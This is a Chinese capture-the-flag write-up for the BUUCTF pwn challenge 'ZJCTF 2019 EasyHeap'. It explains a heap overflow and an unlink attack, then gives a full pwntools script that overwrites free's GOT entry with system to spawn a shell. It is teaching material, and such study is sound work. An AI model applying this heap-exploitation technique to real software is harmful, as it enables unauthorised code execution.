当前位置: 首页 > news >正文

BUUCTF Pwn [ZJCTF 2019]EasyHeap unlink+freehook做法

checksec exeinfo :

IDA64打开:

delete_heap函数已经将指针清零 无UAF

edit_heap允许自己输入读取字节 存在堆溢出

同时 存储的指针位于bss段

那接下来就想到unlink方法:

图示:

后续修改0x6020E0的位置为freehook 再修改一次 让其指向system 最后free掉chunk2 就能执行binsh了

exp:

from pwn import *

p = process('./easyheap')
elf = ELF('./easyheap')

def add(size, cont):
    p.sendlineafter("choice :", b'1')
    p.sendlineafter("Heap : ", str(size))
    p.sendlineafter("heap:", cont)
    

def edit(index, size, cont):
    p.sendlineafter("choice :", b'2')
    p.sendlineafter("Index :", str(index))
    p.sendlineafter("Heap : ", str(size))
    p.sendlineafter("heap : ", cont)

def delete(index):
    p.sendlineafter("choice :", b'3')
    p.sendlineafter("Index :", str(index))

add(0x20, b'aaa' * 0x10)
add(0x100, b'bbb' * 0x10)
add(0x40, b'/bin/sh\x00')

fd = 0x6020e0 - 0x18
bk = 0x6020e0 - 0x10

gdb.attach(p)
pause()

payload = p64(0) + p64(0x21) + p64(fd) + p64(bk) + p64(0x20) + p64(0x110)
edit(0,len(payload) , payload)
pause()
delete(1)

free_got = elf.got['free']
system_plt = elf.plt['system']

edit(0, 0x30, p64(0) * 3 + p64(free_got))
edit(0, 0x8, p64(system_plt))
delete(2)

p.interactive()

相关文章:

  • 《Python实战进阶》第21集:数据存储:Redis 与 MongoDB 的使用场景
  • 高频面试题(含笔试高频算法整理)基本总结回顾32
  • 【redis】list类型:基本命令(下)
  • 小程序网络大文件缓存方案
  • 5-27 临摹大师-IP-Adapter
  • DataGear部署文档(基于openeuler)
  • Android头像布局
  • 谷歌Gemma 3:开启AI新纪元的强大引擎
  • Secure and Privacy-Preserving Decentralized Federated Learning同态加密联邦学习文献阅读
  • 缓存和客户端数据存储体系(Ark Data Kit)--- 应用数据持久化(首选项持久化、K-V、关系型数据库)持续更新中...
  • 华三交换机配置流桶(通常称为“流策略”或“流行为”)
  • 基于javaweb的SpringBoot个人健康管理系统小程序微信小程序设计与实现(源码+文档+部署讲解)
  • C#中除了Dictionary,List,HashSet,HashTable 还有哪些可以保存列表的数据类型?
  • 247g 的工业级电调,如何让无人机飞得更 “聪明“?——STONE 200A-M 深度测评
  • Linux练级宝典->进程间通信
  • 卷积神经网络(笔记03)
  • 缓存及其问题解决
  • linux中yum和wget指令的区别
  • 【目标检测】【CVPR 2025】DEIM:具有改进匹配机制的DETR以实现快速收敛
  • 【fnOS飞牛云NAS本地部署跨平台视频下载工具MediaGo与远程访问下载视频流程】
  • 康保网站建设/电脑培训班价目表
  • wordpress360网站卫士/关键词优化方法
  • 有没有个人做试卷网站的/佛山市人民政府门户网站
  • 做网站的商标是哪类/优化大师win7官方免费下载
  • 做临时工看哪个网站/太原seo外包平台
  • 廊坊网站建设佛山厂商/网络推广工作怎么样